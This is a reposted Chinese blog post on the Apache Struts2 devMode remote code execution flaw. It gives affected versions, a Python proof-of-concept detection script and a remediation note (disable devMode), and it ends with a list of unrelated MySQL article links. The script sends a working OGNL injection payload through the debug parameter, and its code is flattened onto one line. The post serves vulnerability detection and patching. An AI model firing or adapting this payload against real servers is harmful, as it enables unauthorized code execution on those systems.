博客
关于我
Struts2 devMode远程代码执行漏洞检测利用
阅读量:179 次
发布时间:2019-02-28

本文共 1744 字,大约阅读时间需要 5 分钟。

Apache Struts 2是世界上最流行的Java Web服务器框架之一,当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

什么是devMode?

所谓的devMode模式,看名称也知道,是为Struts2开发人员调试程序准备的,在此模式下可以方便地查看日志等信息。默认情况下,devMode模式是关闭的。不过实际上仍然有很多网站上线的时候就赤裸裸地采用devMode模式,自然面临更大的安全问题,需要尽快修复。

影响范围:

当Struts开启devMode时,该漏洞将影响Struts 2.1.0–2.5.1,通杀Struts2所有版本。

漏洞检测

POC:

#!/usr/bin/env python#coding:utf-8 -*-import sysimport getoptimport urllib import urllib2poc = "debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Adlabgsrc"banner = '''# S2-devMode 检测工具#修复建议 : 关闭devMode模式#使用说明: 检测命令 python s2-devmode.py -u http://localhost:8080/orders/3/xxx/    例如 python s2-adlab.py -u http://223.22.22.22:8080/example/HelloWorld.action帮助信息 python s2-devmode.py -h  '''def usage():	print bannerdef send_poc(geturl,data):	try:		user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' 		headers = { 'User-Agent' : user_agent,				'Cookie'	: ""} 		req = urllib2.Request(geturl+"?"+data, headers=headers) 		response = urllib2.urlopen(req) 		content = response.read()		if  "Adlabgsrc" in content:			print "该网站存在s2-devmode代码执行漏洞,请及时修复"			return True		else:			print "该网站安全"			return False		except urllib2.URLError, e:		#print e.reason		pass	return False	def check_vul(url):	if url.find("http://") | url.find("https://"):								send_poc(url,poc)						if __name__ == '__main__':	opts, args = getopt.getopt(sys.argv[1:], "hu:o:")	for op, value in opts:		if op == "-u":			target_url = value				check_vul(target_url)		elif op == "-h":			usage()

工具检测

下载地址:

修复方案:

关闭devMode:在struts.xml 设置

转载地址:http://gegc.baihongyu.com/

你可能感兴趣的文章
MySQL中的DECIMAL类型:MYSQL_TYPE_DECIMAL与MYSQL_TYPE_NEWDECIMAL详解
查看>>
MySQL中的GROUP_CONCAT()函数详解与实战应用
查看>>
MySQL中的IO问题分析与优化
查看>>
MySQL中的ON DUPLICATE KEY UPDATE详解与应用
查看>>
mysql中的rbs,SharePoint RBS:即使启用了RBS,内容数据库也在不断增长
查看>>
mysql中的undo log、redo log 、binlog大致概要
查看>>
Mysql中的using
查看>>
MySQL中的关键字深入比较:UNION vs UNION ALL
查看>>
mysql中的四大运算符种类汇总20多项,用了三天三夜来整理的,还不赶快收藏
查看>>
mysql中的字段如何选择合适的数据类型呢?
查看>>
MySQL中的字符集陷阱:为何避免使用UTF-8
查看>>
mysql中的数据导入与导出
查看>>
MySQL中的时间函数
查看>>
mysql中的约束
查看>>
MySQL中的表是什么?
查看>>
mysql中穿件函数时候delimiter的用法
查看>>
Mysql中索引的分类、增删改查与存储引擎对应关系
查看>>
Mysql中索引的最左前缀原则图文剖析(全)
查看>>
MySql中给视图添加注释怎么添加_默认不支持_可以这样取巧---MySql工作笔记002
查看>>
Mysql中获取所有表名以及表名带时间字符串使用BetweenAnd筛选区间范围
查看>>